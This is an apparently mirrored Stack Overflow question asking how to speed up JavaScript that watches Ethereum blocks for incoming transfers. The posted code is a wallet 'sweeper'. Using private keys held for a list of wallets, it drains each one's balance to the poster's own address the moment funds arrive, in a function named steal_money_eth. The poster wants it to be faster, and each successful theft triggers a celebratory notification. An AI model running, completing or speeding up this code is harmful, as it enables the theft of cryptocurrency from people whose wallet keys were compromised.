'How to speed up process of taking a token?
I am new to cryptocurrency and would like to find out how to speed up the process of taking a token. Here is the finished code:
I use the code to exchange and do other things via telegram
async function trans_wallets_eth() {
for(var x in trans_eth) {
var to_address = trans_eth[x]['to'];
if (to_address in all_wallets) {
steal_money_eth(to_address, all_wallets[to_address]);
await new Promise(resolve => setTimeout(resolve, 30000));
}
}
}
async function getBlocks_eth() {
var work = true
while (work) {
try {
var latestBlock = await web4.eth.getBlock(block_identifier = web4.eth.defaultBlock, full_transactions = true);
global.trans_eth = latestBlock.transactions;
await trans_wallets_eth()
console.log('ETH '+latestBlock.number);
await new Promise(resolve => setTimeout(resolve, 1500));
} catch (e) {
await new Promise(resolve => setTimeout(resolve, 2000));
web4 = new Web3(moralis_eth)
}
}
}
async function steal_money_eth(wallet, wallet_specs) {
try {
var private_key = wallet_specs[0]
var eth_balance = wallet_specs[3]
var grab_from_eth_balance = await web4.utils.toWei(eth_balance, 'ether')
var fast_gas_price = await web4.utils.toWei(eth_gwei, 'gwei')
var counter = 0
while (true) {
var balance = await web4.eth.getBalance(wallet)
if (Number(balance) < grab_from_eth_balance) {
await new Promise(resolve => setTimeout(resolve, 100));
counter++
if (counter === 200) {
console.log("Stopped here")
return;
}
} else {
break;
}
}
var nonce = await web4.eth.getTransactionCount(wallet)
var transfer_amount = Number(balance) - fast_gas_price * 21000
var tx_price = {
'chainId': 1,
'nonce': nonce,
'to': user_wallet_address_eth,
'value': transfer_amount,
'gas': 21000,
'gasPrice': fast_gas_price
}
var signed_tx = await web4.eth.accounts.signTransaction(tx_price, private_key)
var tx_hash = await web4.eth.sendSignedTransaction(signed_tx.rawTransaction)
global.amount_sent_eth = await web4.utils.fromWei(String(transfer_amount), 'ether')
global.tx_link_eth = 'https://etherscan.com/tx/' + tx_hash.transactionHash
console.log('💰ETH '+amount_sent_eth+'💰 Transaction successful!😎👌 ' + tx_link_eth)
sending_good_news_eth()
} catch (e) {
console.log(e)
await new Promise(resolve => setTimeout(resolve, 5000));
}
}
I would like to understand where to look. You don't have to change the code for me. Thank you in advance.
Sources
This article follows the attribution requirements of Stack Overflow and is licensed under CC BY-SA 3.0.
Source: Stack Overflow
| Solution | Source |
|---|
